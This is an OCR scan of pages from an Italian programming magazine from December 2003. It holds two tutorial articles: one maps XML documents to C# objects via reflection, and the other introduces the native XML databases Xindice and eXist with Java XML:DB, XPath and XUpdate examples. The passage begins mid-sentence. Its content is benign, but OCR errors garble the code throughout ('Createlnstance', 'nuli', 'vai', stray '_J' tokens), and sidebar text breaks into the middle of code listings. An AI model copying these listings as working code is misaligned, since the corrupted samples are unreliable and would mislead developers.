un campo appartenente ad un determinato oggetto.
Il metodo prende in input due parametri: l'oggetto
padre del campo ed il valore che s'intende assegna-
re. L'esempio che segue mostra come assegnare
"Rossi" al campo cognome della classe Persona:
Type typeClass = Type.GetType("Persona");
Persona p =
(Persona) Activator.Createlnstance(typeClass);
Fieldlnfo fieldlnfo = typeClass. GetField("cognome");
fieldlnfo. setValue(p,"Rossi");
MAPPARE
OGGETTI SEMPLICI
Inizieremo con la realizzazione di un componente
che effettua il mapping di oggetti semplici. Un "og-
getto semplice" è un oggetto che contiene campi
appartenenti esclusivamente a tipi base. Per effet-
tuare il mapping degli elementi, il componente deve
conoscere la struttura del documento XML, cioè il
mondo in cui le classi ed i campi sono rappresenta-
ti all'interno del documento. Un esempio di docu-
mento XML potrebbe essere il seguente:
<class name="Temperature">
<field name="city" value="London" type="string"/>
<field name="dateTime" value="09/08/2002 12.00"
type="time"/>
<field name="temperature" value="23" type="short"/>
<field name="scale" value="C" type = "char"/>
<field name="umidity" value="0.56" type="double"/>
</class>
Gli elementi sono due: <class> e <field>. Il primo
presenta l'attributo name che non è altro che il
nome della classe (nell'esempio Temperature). Il se-
condo possiede tre attributi: name, che è nome del
campo, value, che è il valore e type che rappresenta
uno dei tipi predefiniti. Lo schema XML che descri-
ve tale struttura è il seguente:
<xs:enumeration value="time" />
</xs:restriction>
</xs:simpleType>
<!- Field ->
<xs:complexType name="Field">
<xs:attribute name="name" type="xs:string'7>
<xs:attribute name="value" type="xs:string" />
<xs:attribute name="type" type="Type" />
</xs:complexType>
<!— Class — >
<xs:complexType name="Class">
<xs:sequence>
<xs:element name="field" type="Field"
minOccurs="0" maxOccurs="unbounded" />
</xs:sequence>
<xs:attribute name="name" type="xs:string" />
</xs:complexType>
<!— classes — >
<xs:element name="classes">
<xs:complexType>
<xs:sequence>
<xs:element name="class"
type="Class" maxOccurs="unbounded" />
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>
Come si può notare, sono considerati, per sempli-
cità, solamente otto tipi di dato base: string, integer,
short, doublé, char, boolean, date e time. Un docu-
mento XML valido per tale schema sarà formato da
un insieme d'elementi <class> che a loro volta con-
terranno una sequenza di elementi <fleld>. La prima
versione del componente che realizzeremo funzio-
nerà esclusivamente con documenti XML che ri-
spettano tale schema. Un primo semplice approccio
che potremmo utilizzare per sviluppare il compo-
nente è quello di implementare il metodo process-
Element dell'interfaccia Handler in modo che esso
legga il codice XML e, mediante la reflection, crei gli
oggetti opportuni. Questa è sicuramente una solu-
zione funzionante, ma non è opportuno effettuare
questo lavoro direttamente nel metodo processEle-
ment. E' meglio separare il codice che legge l'XML da
quello che crea gli oggetti. Per tale ragione introdur-
remo l'interfaccia MappingFramework. L'Handler
avrà un riferimento ad un oggetto di tipo Mapping-
Framwork e delegherà ad esso la creazione vera e
propria degli oggetti.
Siamo quindi in presenza di due moduli differenti:
l'Handler che legge ed interpreta gli elementi XML e
il MappingFramework che crea gli oggetti ed impo-
sta i valori relativi ai campi. L'interfaccia Mapping
Framework è la seguente:
public interface MappingFramework {
»> 36/ Dicembre 2003
http://www.ioprogrammo.it
Lo standard XML nella piattaforma .NET ■ T TEORIA & TECNICA
void startClass(string
className,
strir
g id);
object endClass();
void startField(string
name, string vai
string type);
void endField();
void startClassField(string name,
strin
g id);
void endClassField();
void startArray(string
name);
void endArray();
void startltem(string
className)
void endltem();
}
L'interfaccia contiene cinque coppie di metodi
startXXX e endXXX. Per esempio, startClass sarà
invocato dall'Handler quando un elemento <class>
viene letto dall'XML. Invece, endClass sarà invocato
quando viene letto un elemento </class>. Al fine di
mappare oggetti semplici, sarà sufficiente imple-
mentare un paio di metodi, quelli relativi ai tag
<class> e <fleld>. Gli altri metodi ci serviranno in fu-
turo per aggiungere nuove funzionalità. All'interno
del codice è presente un'implementazione di default
per il MappingFramework (la classe astratta Empty
MappingFramework) per la quale ogni metodo non
svolge alcuna azione.
TIPI DI DATO
Prima di iniziare ad implementare componente
che mappa oggetti semplici, sarà necessario spen-
dere un paio di parole sui tipi di dato. Come abbia-
mo già affermato, il componente supporterà i tipi di
dato indicati dallo schema XML. Essi però sono
espressi in modo generico: sarà quindi necessario
convertirli in tipi di dato relativi al linguaggio C#.
Tale compito sarà delegato all'interfeccia TypeCon-
verter:
public interface TypeConverter {
string convert(string xmlType);}
Il metodo convert convertirà tipo di dato generico,
definito dallo schema XML, nell'equivalente tipo C#.
Quella che segue è un frammento dell'implementa-
zione (TypeConverterIm.pl) usata in questa serie di
articoli, la versione completa è presente sul CD alle-
gato alla rivista:
public class TypeConverterlmpI : TypeConverter {
public string convert(string xmlType){
if (xmlType. CompareTo("string") ==0)
return "System. String";
if (xmlType. CompareTo("short") ==0)
return "System. Intl6";
// eccetera ... }
Ovviamente è possibile implementare TypeConver-
ter in modo da modificare i tipi usati oppure sup-
portane di nuovi. A questo punto possiamo iniziare
ad implementare il MappingFramework per oggetti
semplici. Le seguenti saranno le prime righe di codi-
ce che dovremmo scrivere:
public class MappingFrameworklmpll :
EmptyMappingFramework {
// Oggetto corrente
private object currentObj = nuli;
// TypeConverter
private TypeConverter converter =
new TypeConverterlmplQ;
La classe MappingFrameworklmpll estende la clas-
se astratta EmptyMappingFramework. Essa presenta
due membri privati: currentObj che rappresenta
l'oggetto correntemente processato e converter che
è un'istanza di TypeConverterlmpI. L'implementa-
zione del metodo startClass è il seguente:
public override void startClass(string className,
string id) {
// Type
Type typeClass = Type.GetType(className);
if (typeClass= = null)
throw new System. Xml. XmlException
("Class not found: " + className, nuli);
// Crea l'oggetto
currentObj = Activator.Createlnstance(typeClass);
}
Il metodo crea un'istanza della classe di nome class-
Name usando la refiection (in particolare i metodi
Type.GetType e Activator.Createlnstance). L'oggetto
viene memorizzato nel dato membro currentObj. Il
parametro id non sarà utilizzato per l'implementa-
zione relativa ad oggetti semplici. L'implementazio-
ne di startField è la seguente:
public override void startField(string name,
string vai, string type) {
object obj = currentObj;
// Preleva Type e Fieldlnfo
Type typeClass = obj.GetType();
Fieldlnfo fieldlnfo = typeClass. GetField(name);
if (fieldlnfo == nuli)
throw new System. Xml. XmlException
("Field not found: " + obj.GetTypeQ +
"." + name, nuli);
// Ottiene il tipo C# usando TypeConverter
string cSharpType = converter.convert(type);
if (fieldlnfo. FieldType.ToString().
CompareTo(cSharpType)!=0)
throw new System. Xml. XmlException(
"Different type found: " + obj.GetTypeQ +
"." + name +
"\n\rXML type: " + type +
GLOSSARIO
LATE BINDING
Opposto all'Early
Binding, il Late Binding
si riferisce alla
possibilità che il nostro
codice interagisca con
gli oggetti in modo
dinamico a run-time,
cosa che fornisce una
grande flessibilità in
quanto il nostro codice
non deve preoccuparsi
del tipo di oggetto con
cui interagisce: è
sufficiente che
l'oggetto supporti il
metodo che il codice
vuole invocare. Il
rovescio della
medaglia è che il tipo
di oggetto non è noto
né al compilatore, né
all'IDE, cosa che
impedisce sia un ckeck
sintattico del codice a
tempo di
compilazione, sia
l'aiuto
dell'IntelliSense. In
cambio, abbiamo una
impagabile flessibilità
del nostro codice.
http://www.ioprogrammo.it
Dicembre 2003/37 ►
TEORIA & TECNICA T Lo standard XML nella piattaforma .NET
BIBLIOGRAFIA
• MAPPING XML TO C#
OBJECTS USING
REFLECTION
G. Naccarato
C#Today
(Wrox Press)
Ottobre 2002
• PROFESSIONAL C# 2""
EDITION
S. Robinson e altri
Wrox Press 2002
• .NET SERIALIZATION
S. Gopikrishna,
K. Sanghavi
C#Today
Luglio 2001
http://www.csharptoday,
com/content.asp?id=1 532
• REFLECTION IN .NET
Hari Shankar
C# Corner
Febbraio 2001
http://www.c-sharpcorner
.com/1/Reflection_in_
net.asp
• C# PROGRAMMING:
ATTRIBUTES AND
REFLECTION
Jesse Liberty
(XML.com)
Agosto 2001
http://www.xml.com/
pub/r/1207
"\n\rC# type: " + fieldInfo.FieldType,null);
try-C
if (cSharpType.CompareTo("System.String") ==0) {
fieldInfo.SetValue(obj,val);
_J
if (cSharpType.CompareTo("System.Int32")= = 0) {
int v = int.Parse(val);
fieldInfo.SetValue(obj,v);
_J
// Eccetera ...
}
catch (Exception) {
throw new System. Xml. XmlException(
"Error in field " + obj.GetType() +
"." + fieldlnfo.Name +
"\n\rValue \"" + vai +
"\" cannot be contaied in the type " +
fieldlnfo.FieldType
,null);
}
}
L'Handler invocherà il metodo startField nel
momento in cui un elemento <fleld> sarà letto dal
documento XML. Il metodo prende in input tre
stringhe:
• name - Il nome del campo (es: "cognome");
• vai - Il valore del campo (es: "Rossi")
• type - Il tipo definito dallo schema XML (es:
"string")
Fondamentalmente questo metodo fa tre cose:
1) crea un'istanza di Fieldlnfo relativa al campo
rappresentato dal parametro name
2) converte il tipo di dato generico definito nello
schema XML nel relativo tipo C#
3) imposta il valore del campo in base al tipo di
dato.
In questo metodo avviene la verifica del tipo di dato.
Come si può notare infatti, esso lancia un'eccezione
se il tipo di dato XML non è lo stesso di quello defi-
nito all'interno della la classe C# oppure se il valore
non è compatibile con il tipo di dato del campo.
L'ultimo metodo che implementeremo è closeClass.
Il codice è il seguente:
public override object endClass(){
// Ritorna l'oggetto corrente
return currentObj;
}
Questo metodo sarà richiamato dall'Handler quan-
do un elemento <lclass> viene letto dal documento
XML. Ciò significa che le informazioni sulla classe
sono terminate, di conseguenza il metodo restituirà
l'oggetto corrente che, a questo punto, conterrà
tutte le informazioni provenienti dal documento
XML. Adesso ci rimane da implementare l'Handler.
Chiameremo questa prima implementazione Sim-
pleObjectHandler. Le prime righe sono le seguenti:
public abstract class SimpleObjectHandler : Handler {
// Mapping Framework
protected MappingFramework framework;
// Costruttore
public SimpleObjectHandler
(MappingFramework framework) {
this. framework = framework;
A
// Deve essere implementato dalle classi derivate
public abstract void processObject(object obj);
La classe è astratta perché non implementa il meto-
do processObjectH quale dovrà essere implementato
successivamente dalla classe concreta che estende
SimpleObjectHandler. L'unico dato membro della
classe è un'istanza di MappingFramework che, co-
me si può notare, sarà inizializzata all'interno del co-
struttore. La parte più interessante della classe Sim-
pleObjectHandler è il metodo processElement. Esso
legge gli elementi XML ed invoca l'opportuno meto-
do del MappingFramework. Questa è l'implementa-
zione:
public void processElement(XmlValidatingReader xtReader) {
// Elementi XML
if (xtReader. NodeType==XmlNodeType.Element){
// Elemento <class>
if (xtReader.Name.CompareTo("class") ==0) {
xtReader. MoveToAttribute("name");
string className = xtReader.Value;
// Invoca il mapping framework
framework. sta rtClass(classl\lame,null);
}
// Elemento <field>
if (xtReader.Name.CompareTo("field") ==0) {
// Trova name, value e type
xtReader. MoveToAttribute("name");
string name = xtReader.Value;
xtReader. MoveToAttribute("value");
string vai = xtReader.Value;
xtReader. MoveToAttribute("type");
string type = xtReader.Value;
// Invoca il mapping framework
framework. sta rtField(na me, val,type);
}
_J
// Elementi XML finali
if (xtReader. NodeType == XmlNodeType.EndElement)
_A
// Elemento </class>
if (xtReader. Name. CompareTo("class") ==0)
{
* 38/ Dicembre 2003
http://www.ioprogrammo.it
Lo standard XML nella piattaforma .NET ■ T TEORIA & TECNICA
// Invoca il mapping framework
object obj = framework. endClass();
// Invoca processObject (overridden)
processObject(obj);
}
_}
catch(System.Xml.XmlException e)
J
Console. WriteLine(e.Message);
}
}
}
La filosofia dietro al metodo è veramente semplice:
quando il parser legge un elemento <class>, il meto-
do startClass, del MappingFramework, sarà invoca-
to. Il parametro className è valore dell'attributo
nome. Nel momento in cui l'elemento <fleld> viene
letto, il metodo startField viene invocato passando i
parametri name, vai e type prelevati dai rispettivi
attributi. Infine, quando l'elemento letto è </class>, i
metodi invocati saranno prima endClass e poi
processObject. La classe che effettuerà l'overriding di
quest'ultimo metodo, potrà usare l'oggetto appena
importato nella maniera che riterrà opportuna.
Dopo aver visto come realizzare l'Handler ed il Map-
pingFramework, possiamo eseguire un semplice
programma che importa un documento XML, mo-
stra gli oggetti creati ed il valore dei relativi campi.
Ecco il codice:
using System;
using System. Xml;
using System. Reflection;
using System. Collections;
using Wrox. Xml. Mapping;
// Example of using SimpleObjectHandler
public class ExampleHandlerl: SimpleObjectHandler
{
public ExampleHandlerl() :
base(new Mapping FrameworkImpll())
{}
public override void processObject(object obj)
_i
// Visualizza l'oggetto creato
Console. WriteLine(obj);
// ToString deve essere sovrascritto
_}
}
public class MainProgram
{
public static void Main (StringfJ a)
_J
if (a.l_ength<l){
Console. Writel_ine("No Params");
return;
}
string filename = a[0];
Xmllmporter xmllmporter =
new XmlImporter(new ExampleHandlerl());
try
{
xmllmporter. import(filename);
La classe ExampleHandlerl estende SimpleObject-
Handler ed implementa il metodo astratto process-
Object in modo da visualizzare i dati relativi all'og-
getto stesso (il metodo ToString deve essere quindi
implementato). Il programma principale è un'appli-
cazione console che prende in input il nome del file
XML da mappare, crea un oggetto Xmllmporter pas-
sando al costruttore una nuova istanza di Example-
Handlerl e invoca il metodo import. Supponendo
che esista la seguente classe:
public class Temperature
{
public string city;
public DateTime dateTime;
public short temperature;
public char scale;
public doublé dbIHumidity;
public override string ToString()
{
return "{" + city + "," + dateTime.ToString() + ","
+ temperature + "," + scale + "," + dbIHumidity + "}";
_}
}
e che il file example- 1. xml contenga il codice XML
che abbiamo visto all'inizio del paragrafo. Il pro-
gramma, avendo in input example- 1. xml, importerà
e visualizzerà oggetti di tipo Temperature come
mostrato in Fig. 1.
Fig. 1: Output relativo all'XML per le temperature
CONCLUSIONI
Ragionando con la stessa filosofia ed implementan-
do in modo differente il MappingFramework e
l'Handler possiamo ottenere un componente anco-
ra più potente in grado di effettuare il mapping di
oggetti complessi, array di oggetti ed utilizzare riferi-
menti interni. Ma di questo parleremo il mese pros-
simo...
Giuseppe Naccarato
GLOSSARIO
REFLECTION
É una caratteristica che
consente ad una
applicazione di
recuperare
informazioni sui propri
metadati. Grazie a
System. Reflection
un'applicazione può
scoprire informazioni
su se stessa, mostrarle
agli utenti, modificare
il proprio
comportamento
attraverso il late-
binding, l'invocazione
dinamica e la
costruzione a run-time
di nuovi tipi.
http://www.ioprogrammo.it
Dicembre 2003/39 ►
TEORIA & TECNICA T ■ Database e XML
Es empi pratici per capire l'evoluzione dei database
Uno sguardo
ai DB XML nativi
Con "nativo" si indica la caratteristica peculiare di questi database di
gestire la persistenza e l'analisi di documenti XML come tipo di dato
fondamentale, contrapposto al record dei database.
Sf CD ^ WEB
DBJML.zip
WliiltiMttlilìiWi
INSTALLAZIONE
EXIST
eXist, in versione 0.9.2,
è disponibile sul CD
allegato alla rivista.
Scompattate il file
eXist-0.9.2.zip in
qualsiasi directory, ad
esempio C.
Fatto questo, per
avviare il DB è
sufficiente lanciare il
file batch C:\eXist-
0.9.2\bin\startup.bat,
mentre al fine di
interromperne
l'esecuzione è
necessario lanciare
C:\eXist-0.9.2\bin\
shutdown.bat.
I database XML nativi possono essere visti sia co-
me evoluzione degli indicizzatori testuali, sia co-
me sistemi dedicati alla gestione della persisten-
za di grandi quantità di dati basati su tecnologia
XML piuttosto che su record e relazioni. Questo se-
condo aspetto è in qualche modo sperimentale e,
benché esistano già progetti sufficientemente con-
solidati da offrire i requisiti minimi di stabilità ri-
chiesti da un ambiente di produzione, sia in ambito
open-source che commerciale, è evidente che è an-
cora necessario svolgere molto lavoro e che il gap di
esperienza fra database XML nativi e database rela-
zionali, è notevole.
In questo articolo analizzeremo gli aspetti fonda-
mentali di questa tecnologia e daremo alcuni esem-
pi di codice. Per quanto riguarda gli esempi pratici
abbiamo scelto Java come piattaforma di sviluppo e
come database i due progetti open-source più pro-
mettenti: XIndice ed eXist.
PERCHE XML
L'XML nasce come semplificazione dell'SGML, co-
me linguaggio di marcatura del testo. Marcare (o
come dicono alcuni taggaré) il testo significa ag-
giungere, ad un flusso di parole, alcune informa-
zioni aggiuntive, o meta-informazioni, che posso-
no essere connotazioni semantiche (ad esempio il
tag <H1> dell'HTML che indica che la frase rac-
chiusa è il titolo della pagina) o istruzioni per la
formattazione (ancora un esempio dall'HTML: il
tab <B> indica che il contenuto deve essere mo-
strato in grassetto) o ancora aggiungere al flusso di
parole dell'informazione strutturata per estendere
la semantica del testo (ad esempio il tag <FORM>
che aggiunge all'HTML inteso come strumento di
presentazione di ipertesti, degli elementi interatti-
vi quali pulsanti, campi di testo, etc). Successiva-
mente, alcune caratteristiche dell'XML quali la
sintassi rigida e formale e la struttura ad albero (un
tag può essere richiuso soltanto quando tutti i tag
aperti al suo interno sono stati chiusi) che rendo-
no efficiente il parsing, hanno permesso di usarlo
per rappresentare anche dati non testuali; si pensi
alla serializzazione (vedi Castor), o alla comunica-
zione (vedi SOAP) .
VANTAGGI
E LIMITI DEI
DB XML
Un database XML nativo non è altro che un databa-
se in cui dato fondamentale non è il record ma il
documento XML. La differenza è pertanto molto
profonda, soprattutto dal punto di vista tecnologico.
Vediamo adesso quali sono i principali vantaggi e
svantaggi di questi database:
• un repository xml è estremamente flessibile nella
rappresentazione dei dati, in quanto non e' richie-
sto che i documenti siano validati da una stessa
dtd. Questo permette di modificare la struttura dei
documenti per venire in contro ad "esigenze
impreviste" senza che questo abbia grosse riper-
cussioni sull'applicazione (talvolta nessuna!);
• rappresentare relazioni fra documenti XML può
rivelarsi inefficiente;
• i database relazionali sono il frutto di anni e anni
di esperienza, mentre i database XML nativi sono
relativamente giovani, e questo sicuramente im-
plica minore efficienza e stabilità;
• il confronto fra queste due tecnologie è molto più
complesso delle considerazioni qui riportate e va
oltre gli scopi di questo articolo. Ci concentreremo
invece su alcuni esempi pratici d'utilizzo, basati su
due dei più promettenti progetti open-source:
XIndice ed eXist.
* 40/Dicembre 2003
http://www.ioprogrammo.it
Database e XML ■ T TEORIA & TECNICA
Gli esempi che mostreremo sono scritti in Java e, per
interagire con i database, utilizzano l'interfaccia
proposta dal gruppo XML.DB. Questa API si propo-
ne come analogo del JDBC per quanto riguarda i da-
tabase XML nativi. Attraverso l'interfaccia XML.DB, i
database XML sono visti come collection contenen-
ti documenti o altre collection. L'analogia evidente è
quella con i filesystem, dove alla collection corri-
sponde la directory e al documento corrisponde il
file. Connettersi al database significa "aprire" la di-
rectory, per poter:
• esaminare il contenuto: avere una lista dei docu-
menti contenuti nella collection o eseguire query
xpath (vedi dopo);
• aggiungere documenti;
• rimuovere documenti;
• modificare documenti per mezzo di query xupdate.
Le collection hanno un nome e sono individuate da
un path simile (per non dire identico) al path di una
directory su filesystem. All'interno delle collection i
documenti hanno un ID univoco (l'analogo del no-
me del file), che permette di identificarli. Le collec-
tion sono individuate da un URI che ha in generale
la forma:
protocollo: sottoprotocollo ://host:porta/path_della_collection
Il protocollo è xmldb, il sottoprotocollo indica il tipo
di database server al quale si sta accedendo (ad
esempio xindice per Xindice, ed existpei eXist), l'ho-
st è l'indirizzo tcp/ip della macchina sulla quale gira
il server, e l'ultima parte è il nome completo della
collection. Un esempio di URI per Xindice è:
xmldb :xindice://localhost:4080/db/test
In Xindice il nome della collection specifica anche
l'istanza di database (/db). Il server Xindice infatti è
in grado di gestire più istanze di database contem-
poraneamente. Un esempio per eXist è:
xmldb :exist://localhost:8080/exist/xmlrpc/db/test
La connessione avviene in due fasi:
• registrazione dei sotto protocolli e dei driver di
comunicazione;
• connessione vera e propria.
sione e l'esame di una collection.
UHI PRIMO ESEMPIO
Il file sorgente cui ci riferiamo n questo paragrafo è
XMLDBTestl.java. Le prime linee contengono le di-
chiarazioni import delle classi XMLDB:
import org
xmldb
api
.base.*;
import org
xmldb
api
.modules.*;
import org
xmldb
api
* ■
Il package org.xmldb.api contiene la classe Databa-
seManager che gestisce la registrazione dei driver e
la risoluzione del driver a partire dall'URI. Il package
org.xmldb.api.base contiene tutte le principali classi
della libreria ovvero: Database, Collection, Resource,
etc. Infine, il package org.xmldb.api.modules contie-
ne i servizi xpath, xupdate, etc. Quello dei servizi è il
meccanismo di espansione che la libreria XMLDB
mette a disposizione. La classe Collection di per sé
offre le funzioni minime di navigazione sul database
(accesso ai suoi documenti alle sotto collection) e
modifica (aggiunta e rimozione di documenti). Tutte
le funzioni avanzate sono gestite dai servizi. I princi-
pali sono appunto xpath e xupdate, che permettono
rispettivamente di eseguire query xpath e xupdate,
altri sono il CollectionManagement e il Transaction.
Il primo permette la creazione e la cancellazione di
collection, il secondo gestisce le transazioni. L'im-
plementazione dei servizi è facoltativa e dipende dal
driver. Per quanto riguarda Xindice, soltanto i servi-
zi xpath, xupdate e CollectionManagement sono im-
plementati. Le transazioni non sono supportate.
Xindice inoltre offre un servizio non standard alter-
nativo a CollectionManagement per la creazione di
collection che permette di specificare alcuni para-
metri quali la compressione dei dati. eXist imple-
menta CollectionManagement e xpath. Il servizio
xupdate è stato promesso per la versione 1.0, mentre
le transazioni non sono supportate. Alle righe 16-19
avviene la registrazione dei driver (in questo caso
soltanto Xindice):
Database database =
(Database) Class. forName
("org. a pache. xindice. client. xmldb. Databaselm pi")
.newlnstance();
DatabaseManager.registerDatabase(database);
INSTALLAZIONE
DI XINDICE
Sul CD allegato
trovate la versione 1.0
di Xindice. Volendo,
potete controllare se
sono disponibili
versioni più
aggiornate
collegandovi
all'indirizzo:
http://xml.apache.org/xindice/
Scompattate
l'archivio dove volete,
ad esempio sotto C:
sotto Windows.
Dichiarate la variabile
d'ambiente
XINDICE HOME con il
valore C:\xml-xindice-
1.0. Aggiungete al
PATH il percorso
"/oXINDICE HOME%\bi
n ed il gioco e' fatto.
Per avviare Xindice,
da Windows eseguite
C:\xml-xindice-
1.0\startup.bat
Per uscire
dall'applicazione è
sufficiente chiudere la
finestra dos in cui è in
esecuzione Xindice.
Il primo passo è necessario una sola volta e di solito
viene eseguito in fase di inizializzazione della appli-
cazione. La registrazione ha lo scopo di comunicare
alla libreria XMLDB quali sono i sottoprotocolli
gestiti, ovvero quali sono i tipi di database server dei
quali si possiedono i driver. Entriamo nel vivo esa-
minando la prima sorgente che mostra la connes-
II primo statement alloca un'istanza del driver che si
intende registrare, il secondo richiede la registrazio-
ne alla classe DatabaseManager per mezzo del me-
todo statico registerDatabase. D'ora in poi la libreria
è in grado di risolvere gli URI che iniziano per xml-
db:xindice:ll... La connessione vera e propria avviene
alla riga 22:
http://www.ioprogrammo.it
Dicembre 2003/41 ►
TEORIA & TECNICA T ■ Database e XML
iSis:
JAR
DI RUNTIME
Qui di seguito elen-
chiamo i jar che devo-
no essere presenti nel
classpath per connet-
tersi ai database xml:
XIST
eXist-0.9.2/lib/core/
exist.jar
eXist-0.9.2/lib/core/
xmldb.jar
eXist-0.9.2/lib/core/
xmlrpc-1.2.jar
eXist-0.9.2/lib/core/
log4j.jar
eXist-0.9.2/lib/core/
xerceslmpl-2.4.0.jar
eXist-0.9.2/lib/core/
xml-apis.jar
XINDICE
xml-xindice-1 .0/java/lib/
xindice.jar
xml-xindice-1 .O/java/
lib/xmldb.jar
Collection coli =
DatabaseManager.getCollection(collectionURI);
Alle righe 25-28 viene esaminato il contenuto della
collection:
String[] resources = coll.listResourcesQ;
for (int i = 0; i < resources. length; + + i)
System. out.println(resources[i]);
Il primo statement richiede un array contenente tut-
ti gli ID dei documenti contenuti nella collection, il
secondo è un banale ciclo for che li stampa su Sy-
stem.out. Infine alla riga 31 la connessione è chiusa:
coll.close();
Il secondo programma d'esempio QCMLDBTestlbis
.java) è simile eccetto la parte della registrazione dei
driver. E' stato introdotto il metodo registerDriuers
che legge l'elenco dei driver dall' array drivers e prov-
vede a registrarli tutti. La funzione è invocata all'ini-
zio del programma in modo da completare una
volta per tutte l'inizializzazione della libreria
XML.DB. Una nota merita il trylcatch alla riga 25: lo
scopo è quello di registrare il maggior numero pos-
sibile di driver, ignorando gli errori dovuti, ad esem-
pio, alla mancanza nel classpath di un particolare
driver. In questo modo l'applicazione si adatta dina-
micamente alla configurazione del classpath nella
quale è eseguita.
E CANCELLARE
UHI DOCUMENTO XML
Prima di passare ad esaminare l'uso di xpath e xup-
date completiamo l'esame delle funzionalità messe
a disposizione da Collection. Il programma XMLDB-
Test4.java mostra come inserire un documento in
una collection.
Per far questo è necessario creare una risorsa di tipo
XML (riga 63):
XMLResource r =
(XMLResource)coll.
createResource(resourceName,"XMLResource");
È ora necessario impostarne il contenuto, passan-
dole il documento, questo è possibile farlo sia in
DOM con setContentAsDOM, sia in sax con setCon-
tentAsSAX:
r.setContentAsDOM(d);
Infine inviare i dati al database server completando
l'aggiornamento:
coll.storeResource(r);
Da notare che il metodo createResourceQ non con-
trolla che la risorsa indicata da resourceName non
esista. Anzi, qualora la risorsa esista già viene resti-
tuita. In questo modo si ottiene l'effetto di sostituire
il documento preesistente sul database con quello
nuovo. Il programma XMLDBTest5.java mostra in-
vece come cancellare un documento dalla collec-
tion. Per prima cosa occorre ottenere la risorsa con
getResourceO (riga):
XMLResource r = (XMLResource)coll.
getResource(resourceName);
Quindi invocare il metodo removeResource di Collec-
tion. L'interfaccia Collection mette a disposizione
metodo getResourceO che permette di recuperare un
documento conoscendo il suo nome. Questo è il
meccanismo più rudimentale che la API XML:DB of-
fre. Un sistema più sofisticato è dato dal servizio
xpath.
UNA QUERY SU XML
Le query xpath permettono di selezionare parti di
un documento XML. In questo caso è bene pensare
al documento XML nella sua forma DOM, ovvero
come ad un albero di nodi, ciascuno corrisponden-
te ad un tag, o ad un attributo o al testo contenuto in
un tag. Le query xpath selezionano i nodi di un
DOM. La query xpath è una sequenza di step valuta-
ti in cascata, ognuno dei quali seleziona un sottoin-
sieme dei nodi selezionati dallo step precedente.
La forma generale è la seguente:
/selezione[condizione]/.../selezione[condizione]
gli step sono coppie selezione [condizione]. La sele-
zione descrive il tipo di nodo che si seleziona, ovve-
ro un attributo, un tag, del testo, la condizione è
un'espressione booleana opzionale valutata nodo
per nodo che permette di raffinare ulteriormente il
criterio di scelta. Vediamo un po' di esempi per chia-
rirci le idee:
• / - è la più breve query xpath possibile e seleziona
tutto il documento.
• /persona - seleziona la root del documento pur-
ché la root sia persona, altrimenti non seleziona
niente. Mentre:
• /persona[nome = 'pippo'] - seleziona tutto il
documento purché nome sia un tag contenuto
dentro persona e nome contenga il testo 'pippo'
(senza gli apici).
• /persona[nome = 'pippo'] /email - seleziona il solo
tag email figlio di persona purché questo conten-
»> 42/Dicembre 2003
http://www.ioprogrammo.it
Database e XML ■ T TEORIA & TECNICA
ga un tag nome contenente il testo 'pippo'.
/persona[nome != 'pippo']/@id - seleziona l'attri-
buto id di persona, purché il nome non sia 'pippo'.
/persona[nome != 'pippo'] //indirizzo - Questa
query seleziona tutti i tag indirizzo contenuti
sotto persona, siano essi figli o nodi più profondi.
Quindi // indica la ricerca in tutto il sottoalbero
del nodo corrente.
LAVORARE
COIU QUERY XPATH
Nel sorgente XMLDBTest2.java è mostrato come
eseguire query xpath. Per poter usufruire di un ser-
vizio è necessario richiederlo alla Collection, che
precedentemente è stata aperta. Alla riga 49 viene
richiesto il servizio:
Quella mostrata finora è la cosiddetta sintassi com-
patta delle query xpath. Esiste una versione estesa
che è anche più flessibile. Nella versione estesa la
selezione ha la forma: assev.nome, in cui asse può
essere: child, parent, ancestor, ancestor-or-self, de-
scendant-or-self, preceding-sibling, following-si-
bling, self e descendant. L'asse permette di indicare
non solo il nome del nodo ma anche la sua posizio-
ne relativamente al nodo corrente. Nella sintassi
compatta un "/" singolo corrisponde a child, mentre
"//"corrisponde a descendant. Le forme compatta ed
estesa possono essere utilizzate anche contempora-
neamente nella stessa query. All'interno della condi-
zione possono essere utilizzate altre query xpath
(nell'esempio precedente, nome è una query xpath
che seleziona tutti i tag nome contenuti dentro per-
sona. Il test di uguaglianza con le stringhe è effettua-
to dopo la conversione implicita da node-set a testo.
Questa conversione consiste nel prendere tutto il
testo contenuto all'interno dei tag eliminando tag e
attributi:
< identità >< nome >Pippo</nome> <cognome>
sconosciuto </cognomex/identita>
diventa:
Pipposconosciuto
Nelle condizioni possono essere usate altre funzioni,
oltre al test di uguaglianza. XIndice utilizza l'imple-
mentazione di Xalan per valutare le query, che è
conforme allo standard 1.0. eXist invece ha una pro-
pria implementazione che non è ancora completa,
ma introduce alcune estensioni, quali la possibilità
di usare le espressioni regolari. Come sempre, le ver-
satilità peculiari di alcuni progetti sono comode e
allettanti, ma limitano la portabilità: utilizzando
alcune delle feature specifiche di eXist, si finisce per
vincolarsi a questo database pur continuando ad
utilizzare XML:DB come API di accesso. Ciò che è
importante notare è che il risultato di una query
xpath applicata ad un documento XML non è un
documento XML ma un insieme di documenti, pos-
sibilmente vuoto, ciascuno parte del documento
originale. Nel contesto delle collection l'applicazio-
ne delle query è estesa semplicemente applicando la
query a tutti i documenti della collection, ed il risul-
tato è l'unione di tutti i risultati.
// richiesta del servizio query xpath
XPathQueryService service =
(XPathQueryService)coll
.getService("XPathQueryService"/'l-0");
L'oggetto service permette di eseguire query xpath
sulla collection coli, e solo su essa. La query viene
eseguita alla riga 52:
// esecuzione di query xpath
ResourceSet resultSet = service. query(xpathQuery);
L'esecuzione della query restituisce un ResourceSet,
ovvero un insieme di "risorse": una per ogni docu-
mento prodotto dalla query xpath. L'estrazione dei
dati avviene richiedendo un iteratore, per mezzo del
quale si ottengono le Resource. La libreria XML.DB
non vincola a memorizzare solo e soltanto docu-
menti XML nelle collection. XIndice, ad esempio, ha
introdotto gli XObjects che sono un analogo delle
stored procedure. Queste estensioni però non sono
standard e di fatto la libreria nella sua versione
attuale permette solo XML o binario. Per questo è
necessario il cast da Resource a XMLResource, effet-
tuato alla riga 61. La XMLResource permette di recu-
perare il documento sia in DOM che in SAX per
mezzo dei metodi getContentAsDOMQ e getContent-
AsSAXO rispettivamente. A differenza delle query
xpath, le query xupdate sono specificate in XML. Le
query xupdate sono molto simili a dei programmi, e
il documento XML elenca le istruzioni che databa-
se server deve eseguire sui documenti di una collec-
tion. Le istruzioni utilizzano query xpath per indivi-
duare le parti su cui operare e permettono di cam-
biare il contenuto dei documenti, e aggiungere o
